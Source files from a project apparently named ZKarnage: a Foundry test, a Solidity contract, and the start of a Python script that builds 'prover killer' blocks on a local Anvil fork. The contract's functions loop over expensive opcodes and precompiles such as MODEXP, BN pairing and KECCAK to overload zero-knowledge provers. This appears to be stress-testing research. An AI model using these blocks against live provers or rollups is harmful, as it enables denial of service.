17 | uint256 constant OP_SHA256 = 0x0023;
18 | uint256 constant OP_ECRECOVER = 0x0021;
19 | uint256 constant OP_MODEXP = 0x0027;
20 |
21 | // Contract address
22 | IZKarnageYul public zkarnage;
23 | uint256 public forkId;
24 |
25 | // Gas thresholds for stopping the loops
26 | uint256 constant GAS_THRESHOLD_HIGH = 100000;
27 | uint256 constant GAS_THRESHOLD_MEDIUM = 50000;
28 | uint256 constant GAS_THRESHOLD_LOW = 20000;
29 |
30 | // For testing gas limits - set a reasonable maximum gas to use in tests
31 | uint256 constant TEST_GAS_LIMIT = 5000000; // 5 million gas
32 |
33 | function setUp() public {
34 | // Get RPC URL
35 | string memory key = "ETH_RPC_URL";
36 | string memory defaultValue = "";
37 | string memory rpcUrl = vm.envOr(key, defaultValue);
38 | require(bytes(rpcUrl).length > 0, "ETH_RPC_URL env var not set");
39 |
40 | // Create fork with latest block
41 | forkId = vm.createFork(rpcUrl);
42 | vm.selectFork(forkId);
43 | console.log("Fork created with ID:", forkId, "at block:", block.number);
44 |
45 | // Compile the contract using forge build
46 | string[] memory compileCmd = new string[](4);
47 | compileCmd[0] = "forge";
48 | compileCmd[1] = "build";
49 | compileCmd[2] = "--root";
50 | compileCmd[3] = ".";
51 |
52 | console.log("Compiling contract...");
53 | vm.ffi(compileCmd);
54 |
55 | // The artifact path for Yul files follows a specific pattern
56 | string memory artifactPath = "out/ZKarnage.yul/ZKarnage.json";
57 |
58 | // Read the bytecode from the artifact
59 | console.log("Reading artifact from:", artifactPath);
60 | string memory artifactJson = vm.readFile(artifactPath);
61 |
62 | // Extract bytecode from JSON
63 | string memory bytecodeStr = stdJson.readString(artifactJson, ".bytecode.object");
64 | console.log("Bytecode string:", bytecodeStr);
65 |
66 | // Convert the string to bytes, ensuring proper 0x prefix handling
67 | bytes memory bytecode;
68 | if (bytes(bytecodeStr).length > 0) {
69 | bytecode = vm.parseBytes(bytecodeStr);
70 | } else {
71 | revert("Failed to read bytecode from artifact");
72 | }
73 |
74 | console.log("Bytecode length:", bytecode.length);
75 |
76 | // Deploy the contract
77 | console.log("Deploying contract...");
78 | vm.startPrank(address(1)); // Use address(1) as deployer
79 |
80 | address zkarnageAddr;
81 | assembly {
82 | // Create the contract with the bytecode
83 | zkarnageAddr := create(0, add(bytecode, 0x20), mload(bytecode))
84 | if iszero(extcodesize(zkarnageAddr)) {
85 | revert(0, 0)
86 | }
87 | }
88 |
89 | vm.stopPrank();
90 |
91 | console.log("Deployed ZKarnage.yul at address:", zkarnageAddr);
92 | zkarnage = IZKarnageYul(zkarnageAddr);
93 | }
94 |
95 | function testKeccakOperation() public {
96 | console.log("\n=== Testing KECCAK Operation ===");
97 |
98 | // Use a fixed gas amount for the test call
99 | uint256 gasToUse = TEST_GAS_LIMIT;
100 | uint256 startGas = gasleft();
101 |
102 | // Only proceed with test if we have enough gas
103 | require(startGas > gasToUse, "Not enough gas for test");
104 |
105 | // Calculate how much gas to forward to the call (startGas - gasToUse = gas we want to keep)
106 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call
107 |
108 | // Invoke with limited gas
109 | uint256 result;
110 | bool success;
111 | address contractAddr = address(zkarnage);
112 | bytes memory callData = abi.encodeWithSelector(
113 | IZKarnageYul.f.selector,
114 | OP_KECCAK,
115 | GAS_THRESHOLD_MEDIUM,
116 | 0
117 | );
118 |
119 | assembly {
120 | // Call with exact gas amount
121 | success := call(
122 | gasForCall, // Gas to forward
123 | contractAddr, // Target address
124 | 0, // No ETH sent
125 | add(callData, 0x20), // Call data pointer
126 | mload(callData), // Call data length
127 | 0, // Return data pointer
128 | 0 // Return data length
129 | )
130 |
131 | // Load the first word of return data
132 | if success {
133 | returndatacopy(0, 0, 32)
134 | result := mload(0)
135 | }
136 | }
137 |
138 | // Check that the call succeeded
139 | assertTrue(success, "Call to Keccak operation failed");
140 |
141 | uint256 gasUsed = startGas - gasleft();
142 | console.log("Keccak attack result:", result);
143 | console.log("Gas used:", gasUsed);
144 | console.log("Gas forwarded to call:", gasForCall);
145 |
146 | // The gas used should be close to our limit but not exceed it
147 | assertLt(gasUsed, startGas, "Used more gas than available");
148 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas");
149 | }
150 |
151 | function testSha256Operation() public {
152 | console.log("\n=== Testing SHA256 Operation ===");
153 |
154 | // Use a fixed gas amount for the test call
155 | uint256 gasToUse = TEST_GAS_LIMIT;
156 | uint256 startGas = gasleft();
157 |
158 | // Only proceed with test if we have enough gas
159 | require(startGas > gasToUse, "Not enough gas for test");
160 |
161 | // Calculate how much gas to forward to the call
162 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call
163 |
164 | // Invoke with limited gas
165 | uint256 result;
166 | bool success;
167 | address contractAddr = address(zkarnage);
168 | bytes memory callData = abi.encodeWithSelector(
169 | IZKarnageYul.f.selector,
170 | OP_SHA256,
171 | GAS_THRESHOLD_MEDIUM,
172 | 0
173 | );
174 |
175 | assembly {
176 | // Call with exact gas amount
177 | success := call(
178 | gasForCall, // Gas to forward
179 | contractAddr, // Target address
180 | 0, // No ETH sent
181 | add(callData, 0x20), // Call data pointer
182 | mload(callData), // Call data length
183 | 0, // Return data pointer
184 | 0 // Return data length
185 | )
186 |
187 | // Load the first word of return data
188 | if success {
189 | returndatacopy(0, 0, 32)
190 | result := mload(0)
191 | }
192 | }
193 |
194 | // Check that the call succeeded
195 | assertTrue(success, "Call to SHA256 operation failed");
196 |
197 | uint256 gasUsed = startGas - gasleft();
198 | console.log("SHA256 attack result:", result);
199 | console.log("Gas used:", gasUsed);
200 | console.log("Gas forwarded to call:", gasForCall);
201 |
202 | // The gas used should be close to our limit but not exceed it
203 | assertLt(gasUsed, startGas, "Used more gas than available");
204 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas");
205 | }
206 |
207 | function testEcrecoverOperation() public {
208 | console.log("\n=== Testing ECRECOVER Operation ===");
209 |
210 | // Use a fixed gas amount for the test call
211 | uint256 gasToUse = TEST_GAS_LIMIT;
212 | uint256 startGas = gasleft();
213 |
214 | // Only proceed with test if we have enough gas
215 | require(startGas > gasToUse, "Not enough gas for test");
216 |
217 | // Calculate how much gas to forward to the call
218 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call
219 |
220 | // Invoke with limited gas
221 | uint256 result;
222 | bool success;
223 | address contractAddr = address(zkarnage);
224 | bytes memory callData = abi.encodeWithSelector(
225 | IZKarnageYul.f.selector,
226 | OP_ECRECOVER,
227 | GAS_THRESHOLD_MEDIUM,
228 | 0
229 | );
230 |
231 | assembly {
232 | // Call with exact gas amount
233 | success := call(
234 | gasForCall, // Gas to forward
235 | contractAddr, // Target address
236 | 0, // No ETH sent
237 | add(callData, 0x20), // Call data pointer
238 | mload(callData), // Call data length
239 | 0, // Return data pointer
240 | 0 // Return data length
241 | )
242 |
243 | // Load the first word of return data
244 | if success {
245 | returndatacopy(0, 0, 32)
246 | result := mload(0)
247 | }
248 | }
249 |
250 | // Check that the call succeeded
251 | assertTrue(success, "Call to ECRECOVER operation failed");
252 |
253 | uint256 gasUsed = startGas - gasleft();
254 | console.log("ECRECOVER attack result:", result);
255 | console.log("Gas used:", gasUsed);
256 | console.log("Gas forwarded to call:", gasForCall);
257 |
258 | // The gas used should be close to our limit but not exceed it
259 | assertLt(gasUsed, startGas, "Used more gas than available");
260 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas");
261 | }
262 |
263 | function testModexpOperation() public {
264 | console.log("\n=== Testing MODEXP Operation ===");
265 |
266 | // Use a fixed gas amount for the test call
267 | uint256 gasToUse = TEST_GAS_LIMIT;
268 | uint256 startGas = gasleft();
269 |
270 | // Only proceed with test if we have enough gas
271 | require(startGas > gasToUse, "Not enough gas for test");
272 |
273 | // Calculate how much gas to forward to the call
274 | uint256 gasForCall = gasToUse - 50000; // Reserve some gas for after the call
275 |
276 | // Invoke with limited gas
277 | uint256 result;
278 | bool success;
279 | address contractAddr = address(zkarnage);
280 | bytes memory callData = abi.encodeWithSelector(
281 | IZKarnageYul.f.selector,
282 | OP_MODEXP,
283 | GAS_THRESHOLD_MEDIUM,
284 | 0
285 | );
286 |
287 | assembly {
288 | // Call with exact gas amount
289 | success := call(
290 | gasForCall, // Gas to forward
291 | contractAddr, // Target address
292 | 0, // No ETH sent
293 | add(callData, 0x20), // Call data pointer
294 | mload(callData), // Call data length
295 | 0, // Return data pointer
296 | 0 // Return data length
297 | )
298 |
299 | // Load the first word of return data
300 | if success {
301 | returndatacopy(0, 0, 32)
302 | result := mload(0)
303 | }
304 | }
305 |
306 | // Check that the call succeeded
307 | assertTrue(success, "Call to MODEXP operation failed");
308 |
309 | uint256 gasUsed = startGas - gasleft();
310 | console.log("MODEXP attack result:", result);
311 | console.log("Gas used:", gasUsed);
312 | console.log("Gas forwarded to call:", gasForCall);
313 |
314 | // The gas used should be close to our limit but not exceed it
315 | assertLt(gasUsed, startGas, "Used more gas than available");
316 | assertTrue(gasUsed > gasForCall / 2, "Used suspiciously little gas");
317 | }
318 |
319 | function testDifferentThresholds() public {
320 | console.log("\n=== Testing Different Gas Thresholds ===");
321 |
322 | // Use assembly with gas limit for high threshold test
323 | uint256 gasForCallHigh = 3000000; // 3 million gas
324 | uint256 result1;
325 | bool success1;
326 | address contractAddr = address(zkarnage);
327 | bytes memory callDataHigh = abi.encodeWithSelector(
328 | IZKarnageYul.f.selector,
329 | OP_KECCAK,
330 | GAS_THRESHOLD_HIGH,
331 | 0
332 | );
333 |
334 | assembly {
335 | success1 := call(
336 | gasForCallHigh,
337 | contractAddr,
338 | 0,
339 | add(callDataHigh, 0x20),
340 | mload(callDataHigh),
341 | 0,
342 | 0
343 | )
344 | if success1 {
345 | returndatacopy(0, 0, 32)
346 | result1 := mload(0)
347 | }
348 | }
349 |
350 | // Use assembly with gas limit for low threshold test
351 | uint256 gasForCallLow = 1000000; // 1 million gas
352 | uint256 result2;
353 | bool success2;
354 | bytes memory callDataLow = abi.encodeWithSelector(
355 | IZKarnageYul.f.selector,
356 | OP_KECCAK,
357 | GAS_THRESHOLD_LOW,
358 | 0
359 | );
360 |
361 | assembly {
362 | success2 := call(
363 | gasForCallLow,
364 | contractAddr,
365 | 0,
366 | add(callDataLow, 0x20),
367 | mload(callDataLow),
368 | 0,
369 | 0
370 | )
371 | if success2 {
372 | returndatacopy(0, 0, 32)
373 | result2 := mload(0)
374 | }
375 | }
376 |
377 | assertTrue(success1, "High threshold call failed");
378 | assertTrue(success2, "Low threshold call failed");
379 |
380 | console.log("KECCAK with high threshold - Gas limit:", gasForCallHigh);
381 | console.log("KECCAK with low threshold - Gas limit:", gasForCallLow);
382 |
383 | // The low threshold should complete sooner, thus using less gas
384 | // But this is hard to verify directly in this model
385 | }
386 |
387 | function testInvalidOperation() public {
388 | console.log("\n=== Testing Invalid Operation ===");
389 |
390 | // Try to call with an invalid operation code - should revert
391 | uint256 gasForCall = 500000;
392 | bool success;
393 | address contractAddr = address(zkarnage);
394 | bytes memory callData = abi.encodeWithSelector(
395 | IZKarnageYul.f.selector,
396 | 0x1234, // Invalid op code
397 | GAS_THRESHOLD_MEDIUM,
398 | 0
399 | );
400 |
401 | assembly {
402 | success := call(
403 | gasForCall,
404 | contractAddr,
405 | 0,
406 | add(callData, 0x20),
407 | mload(callData),
408 | 0,
409 | 0
410 | )
411 | }
412 |
413 | // Should fail with invalid opcode
414 | assertFalse(success, "Call with invalid opcode should fail");
415 | }
416 | }
--------------------------------------------------------------------------------
/src/ZKarnage.sol:
--------------------------------------------------------------------------------
1 | // SPDX-License-Identifier: MIT
2 | pragma solidity ^0.8.19;
3 |
4 | contract ZKarnage {
5 | event ContractAccessed(address indexed target, uint256 size);
6 | event AttackSummary(uint256 numContracts, uint256 totalSize);
7 | event ModExpResult(uint256 gasUsed, uint256 result);
8 | event PrecompileResult(string name, uint256 gasUsed);
9 | event OpcodeResult(string name, uint256 gasUsed);
10 |
11 | // Storage variables to ensure hash results are used and persisted
12 | bytes32 public accumulatedHash;
13 | bytes32 public accumulatedSha256Hash;
14 |
15 | // Precompile addresses
16 | address constant ECRECOVER_PRECOMPILE = 0x0000000000000000000000000000000000000001;
17 | address constant SHA256_PRECOMPILE = 0x0000000000000000000000000000000000000002;
18 | address constant IDENTITY_PRECOMPILE = 0x0000000000000000000000000000000000000004;
19 | address constant MODEXP_PRECOMPILE = 0x0000000000000000000000000000000000000005;
20 | address constant BN_ADD_PRECOMPILE = 0x0000000000000000000000000000000000000006;
21 | address constant BN_MUL_PRECOMPILE = 0x0000000000000000000000000000000000000007;
22 | address constant BN_PAIRING_PRECOMPILE = 0x0000000000000000000000000000000000000008;
23 |
24 | // Original EXTCODESIZE attack
25 | function executeAttack(address[] calldata targets) external {
26 | uint256 totalSize = 0;
27 |
28 | for (uint256 i = 0; i < targets.length; i++) {
29 | address target = targets[i];
30 | uint256 size;
31 |
32 | assembly {
33 | size := extcodesize(target)
34 | }
35 |
36 | totalSize += size;
37 | emit ContractAccessed(target, size);
38 | }
39 |
40 | emit AttackSummary(targets.length, totalSize);
41 | }
42 |
43 | // JUMPDEST attack - Most expensive opcode (1037.68 cycles/gas)
44 | function executeJumpdestAttack(uint256 iterations) external {
45 | uint256 gasStart = gasleft();
46 | uint256 result;
47 |
48 | assembly {
49 | for { let i := 0 } lt(i, iterations) { i := add(i, 1) } {
50 | // Force jumps through labeled blocks
51 | let x := 1
52 | switch x
53 | case 1 { result := 1 }
54 | case 2 { result := 2 }
55 | case 3 { result := 3 }
56 | case 4 { result := 4 }
57 | case 5 { result := 5 }
58 | }
59 | }
60 |
61 | emit OpcodeResult("JUMPDEST", gasStart - gasleft());
62 | }
63 |
64 | // MCOPY attack - Second most expensive opcode (666.39 cycles/gas)
65 | function executeMcopyAttack(uint256 size, uint256 iterations) external {
66 | uint256 gasStart = gasleft();
67 | bytes memory data = new bytes(size);
68 |
69 | assembly {
70 | for { let i := 0 } lt(i, iterations) { i := add(i, 1) } {
71 | // Perform memory operations using mstore/mload
72 | let value := mload(add(data, 64))
73 | mstore(add(data, 32), value)
74 | value := mload(add(data, 96))
75 | mstore(add(data, 64), value)
76 | value := mload(add(data, 128))
77 | mstore(add(data, 96), value)
78 | }
79 | }
80 |
81 | emit OpcodeResult("MCOPY", gasStart - gasleft());
82 | }
83 |
84 | // CALLDATACOPY attack - Third most expensive opcode (580.81 cycles/gas)
85 | function executeCalldatacopyAttack(uint256 size, uint256 iterations) external {
86 | uint256 gasStart = gasleft();
87 | bytes memory output = new bytes(size);
88 |
89 | assembly {
90 | for { let i := 0 } lt(i, iterations) { i := add(i, 1) } {
91 | calldatacopy(add(output, 32), 0, size)
92 | }
93 | }
94 |
95 | emit OpcodeResult("CALLDATACOPY", gasStart - gasleft());
96 | }
97 |
98 | // MODEXP attack targeting worst case from EIP-7883
99 | function executeModExpAttack(uint256 iterations) external {
100 | bytes memory base = new bytes(32); // 32 bytes
101 | bytes memory exponent = new bytes(64); // 64 bytes to trigger higher cost
102 | bytes memory modulus = new bytes(32); // 32 bytes
103 |
104 | // Fill with non-zero values to maximize complexity
105 | for(uint i = 0; i < base.length; i++) base[i] = 0xFF;
106 | for(uint i = 0; i < exponent.length; i++) exponent[i] = 0xFF;
107 | for(uint i = 0; i < modulus.length; i++) modulus[i] = 0xFF;
108 |
109 | uint256 inputSize = 32 + base.length + exponent.length + modulus.length;
110 | bytes memory input = new bytes(inputSize);
111 |
112 | assembly {
113 | mstore(add(input, 32), 32) // base length
114 | mstore(add(input, 64), 64) // exponent length
115 | mstore(add(input, 96), 32) // modulus length
116 | mstore(add(input, 128), mload(add(base, 32)))
117 | mstore(add(input, 160), mload(add(exponent, 32)))
118 | mstore(add(input, 192), mload(add(exponent, 64)))
119 | mstore(add(input, 224), mload(add(modulus, 32)))
120 | }
121 |
122 | uint256 gasStart = gasleft();
123 | bool success;
124 |
125 | for(uint i = 0; i < iterations; i++) {
126 | // Use a large gas stipend, but it shouldn't consume nearly this much per call
127 | assembly {
128 | success := call(500000, MODEXP_PRECOMPILE, 0, add(input, 32), inputSize, 0, 32)
129 | }
130 | // Revert if any single call fails
131 | require(success, "MODEXP call failed");
132 | }
133 |
134 | uint256 gasUsed = gasStart - gasleft();
135 | emit PrecompileResult("MODEXP", gasUsed);
136 | }
137 |
138 | // BN_PAIRING attack - Most expensive precompile (37.91 cycles/gas)
139 | function executeBnPairingAttack(uint256 iterations) external {
140 | // Input for a single pairing check (2 points = 192 bytes)
141 | bytes memory input = new bytes(192);
142 |
143 | // Fill with valid pairing points that require max computation
144 | // Using 0xFF might not be valid points, but stresses the precompile
145 | for(uint i = 0; i < input.length; i++) {
146 | input[i] = 0xFF;
147 | }
148 |
149 | uint256 gasStart = gasleft();
150 | bool success;
151 |
152 | for(uint i = 0; i < iterations; i++) {
153 | // Use a large gas stipend
154 | assembly {
155 | success := call(500000, BN_PAIRING_PRECOMPILE, 0, add(input, 32), 192, 0, 32)
156 | }
157 | // require(success, "BN_PAIRING call failed"); // Allow test to proceed even if call fails
158 | }
159 |
160 | uint256 gasUsed = gasStart - gasleft();
161 | emit PrecompileResult("BN_PAIRING", gasUsed);
162 | }
163 |
164 | // BN_MUL attack - (17.48 cycles/gas)
165 | function executeBnMulAttack(uint256 iterations) external {
166 | // Input for point multiplication (128 bytes)
167 | bytes memory input = new bytes(128);
168 |
169 | // Fill with values to stress the precompile
170 | for(uint i = 0; i < input.length; i++) {
171 | input[i] = 0xFF;
172 | }
173 |
174 | uint256 gasStart = gasleft();
175 | bool success;
176 |
177 | for(uint i = 0; i < iterations; i++) {
178 | // Use a large gas stipend
179 | assembly {
180 | // BN_MUL output is 64 bytes
181 | success := call(500000, BN_MUL_PRECOMPILE, 0, add(input, 32), 128, 0, 64)
182 | }
183 | // require(success, "BN_MUL call failed"); // Allow test to proceed even if call fails
184 | }
185 |
186 | uint256 gasUsed = gasStart - gasleft();
187 | emit PrecompileResult("BN_MUL", gasUsed);
188 | }
189 |
190 | // ECRECOVER attack - (15.74 cycles/gas)
191 | function executeEcrecoverAttack(uint256 iterations) external {
192 | // Prepare inputs for ecrecover (128 bytes total)
193 | bytes32 hash = keccak256(abi.encodePacked(uint256(0))); // Example hash
194 | uint8 v = 27; // Valid v value (must be 27 or 28)
195 | bytes32 r = bytes32(uint256(1)); // Example r
196 | bytes32 s = bytes32(uint256(2)); // Example s
197 |
198 | // Pre-allocate memory for input to avoid allocation inside loop
199 | bytes memory input = new bytes(128);
200 | assembly {
201 | mstore(add(input, 0x20), hash)
202 | mstore(add(input, 0x40), v)
203 | mstore(add(input, 0x60), r)
204 | mstore(add(input, 0x80), s)
205 | }
206 |
207 | uint256 gasStart = gasleft();
208 | bool success;
209 | address recoveredAddr; // To store result, preventing removal by optimizer
210 |
211 | for(uint i = 0; i < iterations; i++) {
212 | // Update hash slightly per iteration to ensure work is done
213 | assembly {
214 | mstore(add(input, 0x20), keccak256(add(input, 0x20), 32))
215 | }
216 |
217 | // Use a large gas stipend
218 | assembly {
219 | // ECRECOVER input starts at offset 32 (skip length), length 128
220 | // Output is address (32 bytes, right-padded with zeros)
221 | success := call(50000, ECRECOVER_PRECOMPILE, 0, add(input, 32), 128, 0, 32)
222 | recoveredAddr := mload(0) // Load result into memory
223 | }
224 | require(success, "ECRECOVER call failed");
225 | }
226 | // Ensure recoveredAddr is used somehow (though event is primary output)
227 | if (recoveredAddr == address(0)) { }
228 |
229 | uint256 gasUsed = gasStart - gasleft();
230 | emit PrecompileResult("ECRECOVER", gasUsed);
231 | }
232 |
233 | // KECCAK256 attack
234 | function executeKeccakAttack(uint256 iterations, uint256 dataSize) external {
235 | require(dataSize >= 32, "Data size must be at least 32 bytes");
236 | require(dataSize <= 4096, "Data size must not exceed 4096 bytes");
237 |
238 | uint256 gasStart = gasleft();
239 |
240 | // Pure Yul implementation to defeat optimizer
241 | assembly {
242 | // Use smaller memory buffers for large iteration counts
243 | let actualDataSize := dataSize
244 |
245 | // For large iteration counts, limit data size to reduce memory pressure
246 | if gt(iterations, 50000) {
247 | actualDataSize := 512
248 | }
249 |
250 | // Allocate memory for our data buffer
251 | let memPtr := mload(0x40) // Get free memory pointer
252 | let dataPtr := add(memPtr, 32) // Skip first 32 bytes for length
253 |
254 | // Update free memory pointer
255 | mstore(0x40, add(dataPtr, actualDataSize))
256 |
257 | // Initialize memory with non-zero data (only init the first 512 bytes to save gas)
258 | let i := 0
259 | for { } lt(i, 512) { i := add(i, 32) } {
260 | mstore(add(dataPtr, i), xor(i, timestamp()))
261 | }
262 |
263 | // Get block values for unpredictability
264 | let blockNum := number()
265 | let timeVal := timestamp()
266 |
267 | // Use accumulatedHash as starting point
268 | let runningHash := sload(accumulatedHash.slot)
269 |
270 | // Break into smaller batches of 5000 iterations to prevent stack/memory issues
271 | let batchSize := 5000
272 | let remainingIters := iterations
273 |
274 | // Batch processing loop
275 | for { } gt(remainingIters, 0) { } {
276 | // Calculate current batch
277 | let currentBatch := remainingIters
278 | if gt(currentBatch, batchSize) {
279 | currentBatch := batchSize
280 | }
281 |
282 | // Store the current batch number in memory to influence calculations
283 | mstore(add(dataPtr, 64), remainingIters)
284 |
285 | // Inner loop for this batch
286 | for { i := 0 } lt(i, currentBatch) { i := add(i, 1) } {
287 | // Change input based on counter & previous hash
288 | mstore(dataPtr, xor(runningHash, xor(i, blockNum)))
289 | mstore(add(dataPtr, 32), xor(i, timeVal))
290 |
291 | // Do the keccak operation and save result
292 | runningHash := keccak256(dataPtr, actualDataSize)
293 |
294 | // Store back to influence next iteration
295 | mstore(dataPtr, runningHash)
296 |
297 | // Every 500 iterations, update storage to prevent optimization
298 | if eq(mod(i, 500), 499) {
299 | sstore(accumulatedHash.slot, runningHash)
300 | }
301 | }
302 |
303 | // Update remaining iterations
304 | remainingIters := sub(remainingIters, currentBatch)
305 |
306 | // Store intermediate result to storage after each batch
307 | sstore(accumulatedHash.slot, runningHash)
308 | }
309 |
310 | // Final storage of result
311 | sstore(accumulatedHash.slot, runningHash)
312 |
313 | // Log the final hash as a useful side effect
314 | log1(0, 0, runningHash)
315 | }
316 |
317 | uint256 gasUsed = gasStart - gasleft();
318 | emit OpcodeResult("KECCAK256", gasUsed);
319 | }
320 |
321 | // SHA256 attack
322 | function executeSha256Attack(uint256 iterations, uint256 dataSize) external {
323 | require(dataSize >= 32, "Data size must be at least 32 bytes");
324 | require(dataSize <= 4096, "Data size must not exceed 4096 bytes");
325 |
326 | uint256 gasStart = gasleft();
327 |
328 | // Pure Yul implementation to defeat optimizer
329 | assembly {
330 | // Use smaller memory buffers for large data and iterations
331 | let actualDataSize := dataSize
332 |
333 | // For large data sizes, limit size to reduce memory pressure
334 | if and(gt(iterations, 10000), gt(dataSize, 512)) {
335 | actualDataSize := 512
336 | }
337 |
338 | // Allocate memory for data and result
339 | let memPtr := mload(0x40) // Get free memory pointer
340 | let dataPtr := add(memPtr, 32) // Skip first 32 bytes for length
341 | let resultPtr := add(dataPtr, actualDataSize) // Space for result after data
342 |
343 | // Update free memory pointer
344 | mstore(0x40, add(resultPtr, 32)) // 32 bytes for result
345 |
346 | // Initialize memory with non-zero data (only init the first 512 bytes to save gas)
347 | let i := 0
348 | for { } lt(i, 512) { i := add(i, 32) } {
349 | mstore(add(dataPtr, i), xor(i, timestamp()))
350 | }
351 |
352 | // Get block values for unpredictability
353 | let blockNum := number()
354 | let timeVal := timestamp()
355 |
356 | // Use accumulatedSha256Hash as starting point
357 | let runningHash := sload(accumulatedSha256Hash.slot)
358 | mstore(dataPtr, runningHash)
359 |
360 | // Track success status
361 | let success := 1
362 |
363 | // Adjust batch size based on data size to prevent out-of-gas errors
364 | let batchSize := 5000
365 | if gt(actualDataSize, 1024) {
366 | batchSize := 2000 // Smaller batches for larger data
367 | }
368 | if gt(actualDataSize, 2048) {
369 | batchSize := 1000 // Even smaller batches for 2048+ byte data
370 | }
371 |
372 | // Break into smaller batches to prevent stack/memory issues
373 | let remainingIters := iterations
374 |
375 | // Batch processing loop
376 | for { } gt(remainingIters, 0) { } {
377 | // Calculate current batch
378 | let currentBatch := remainingIters
379 | if gt(currentBatch, batchSize) {
380 | currentBatch := batchSize
381 | }
382 |
383 | // Store the current batch number in memory to influence calculations
384 | mstore(add(dataPtr, 64), remainingIters)
385 |
386 | // Inner loop for this batch
387 | for { i := 0 } lt(i, currentBatch) { i := add(i, 1) } {
388 | // Change input based on counter & previous hash to ensure uniqueness
389 | mstore(dataPtr, xor(runningHash, xor(i, blockNum)))
390 | mstore(add(dataPtr, 32), xor(i, timeVal))
391 |
392 | // Call SHA256 precompile
393 | success := staticcall(gas(), SHA256_PRECOMPILE, dataPtr, actualDataSize, resultPtr, 32)
394 |
395 | // Check success and revert if needed
396 | if iszero(success) {
397 | mstore(0, 0x08c379a000000000000000000000000000000000000000000000000000000000) // Error signature
398 | mstore(4, 32) // String offset
399 | mstore(36, 27) // String length
400 | mstore(68, "SHA256 precompile call failed") // Error message
401 | revert(0, 100)
402 | }
403 |
404 | // Get result and use for next iteration
405 | runningHash := mload(resultPtr)
406 |
407 | // Store back to influence next iteration
408 | mstore(dataPtr, runningHash)
409 |
410 | // Every 200 iterations, update storage to prevent optimization
411 | // Do this more frequently with large data
412 | if eq(mod(i, 200), 199) {
413 | sstore(accumulatedSha256Hash.slot, runningHash)
414 | }
415 | }
416 |
417 | // Update remaining iterations
418 | remainingIters := sub(remainingIters, currentBatch)
419 |
420 | // Store intermediate result to storage after each batch
421 | sstore(accumulatedSha256Hash.slot, runningHash)
422 | }
423 |
424 | // Final storage of result
425 | sstore(accumulatedSha256Hash.slot, runningHash)
426 |
427 | // Log the final hash as a useful side effect
428 | log1(0, 0, runningHash)
429 | }
430 |
431 | uint256 gasUsed = gasStart - gasleft();
432 | emit PrecompileResult("SHA256", gasUsed);
433 | }
434 | }
--------------------------------------------------------------------------------
/script/generate_block.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import argparse
4 | import json
5 | import os
6 | import subprocess
7 | import sys
8 | import time
9 | from pathlib import Path
10 | from typing import Dict, List, Optional, Union
11 |
12 | from web3 import Web3
13 |
14 | # Operation code mapping
15 | OPERATION_CODES = {
16 | "keccak": "0x0003",
17 | "sha256": "0x0023",
18 | "modexp": "0x0027",
19 | "ecrecover": "0x0021",
20 | }
21 |
22 | def parse_args():
23 | parser = argparse.ArgumentParser(description="Generate a prover killer block using ZKarnage")
24 | parser.add_argument(
25 | "--attack-type",
26 | required=True,
27 | choices=list(OPERATION_CODES.keys()),
28 | help="The type of operation to test",
29 | )
30 | parser.add_argument(
31 | "--gas-limit",
32 | type=int,
33 | default=5000000,
34 | help="Gas limit for the transaction (default: 5,000,000)",
35 | )
36 | parser.add_argument(
37 | "--gas-threshold",
38 | type=int,
39 | default=50000,
40 | help="Gas threshold at which to stop looping (default: 50,000)",
41 | )
42 | parser.add_argument(
43 | "--fork-block",
44 | type=int,
45 | default=22222222,
46 | help="Block number to fork from (default: 22,222,222)",
47 | )
48 | parser.add_argument(
49 | "--output-file",
50 | type=str,
51 | help="Output file for the block JSON (default: out/block_{attack_type}_{gas_limit}_{gas_threshold}_fork_{fork_block}.json)",
52 | )
53 | parser.add_argument(
54 | "--rpc-url",
55 | type=str,
56 | required=True,
57 | help="Mainnet RPC URL for forking",
58 | )
59 | parser.add_argument(
60 | "--anvil-port",
61 | type=int,
62 | default=8545,
63 | help="Port for the Anvil instance (default: 8545)",
64 | )
65 | parser.add_argument(
66 | "--private-key",
67 | type=str,
68 | default="0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80", # Anvil default account
69 | help="Private key for sending transactions (default: Anvil's first account)",
70 | )
71 | parser.add_argument(
72 | "--contract-path",
73 | type=str,
74 | default="src/ZKarnage.yul",
75 | help="Path to the Yul contract (default: src/ZKarnage.yul)",
76 | )
77 | args = parser.parse_args()
78 |
79 | # Set default output file if not provided
80 | if not args.output_file:
81 | # Create a directory structure for outputs
82 | out_dir = Path("out")
83 | blocks_dir = out_dir / "blocks"
84 |
85 | # Create the directories if they don't exist
86 | blocks_dir.mkdir(parents=True, exist_ok=True)
87 |
88 | # Generate a descriptive filename
89 | args.output_file = f"{blocks_dir}/block_{args.attack_type}_{args.gas_limit}_{args.gas_threshold}_fork_{args.fork_block}.json"
90 | print(f"Output will be saved to: {args.output_file}")
91 |
92 | return args
93 |
94 | def start_anvil(rpc_url: str, fork_block: int, port: int) -> subprocess.Popen:
95 | """Start anvil process forking from the specified block and forward its output"""
96 | cmd = [
97 | "anvil",
98 | "--fork-url", rpc_url,
99 | "--fork-block-number", str(fork_block),
100 | "--port", str(port),
101 | # Enable more verbose logging
102 | "-vvvv"
103 | ]
104 |
105 | print("Starting Anvil...")
106 | # Start Anvil without redirecting stdout/stderr so logs show in console
107 | process = subprocess.Popen(
108 | cmd,
109 | stdout=subprocess.PIPE,
110 | stderr=subprocess.STDOUT, # Redirect stderr to stdout
111 | text=True,
112 | bufsize=1, # Line buffered
113 | universal_newlines=True
114 | )
115 |
116 | # Start a thread to read and print Anvil's output
117 | def print_output(process):
118 | for line in iter(process.stdout.readline, ''):
119 | print(f"Anvil: {line.rstrip()}")
120 |
121 | import threading
122 | anvil_thread = threading.Thread(target=print_output, args=(process,), daemon=True)
123 | anvil_thread.start()
124 |
125 | # Wait for anvil to start
126 | time.sleep(3)
127 | return process
128 |
129 | def deploy_contract(contract_path: str, rpc_url: str, private_key: str) -> str:
130 | """Deploy the ZKarnage.yul contract using forge and cast send --create"""
131 | print(f"Deploying contract from {contract_path}...")
132 |
133 | # Compile the contract
134 | compile_cmd = ["forge", "build", "--root", "."]
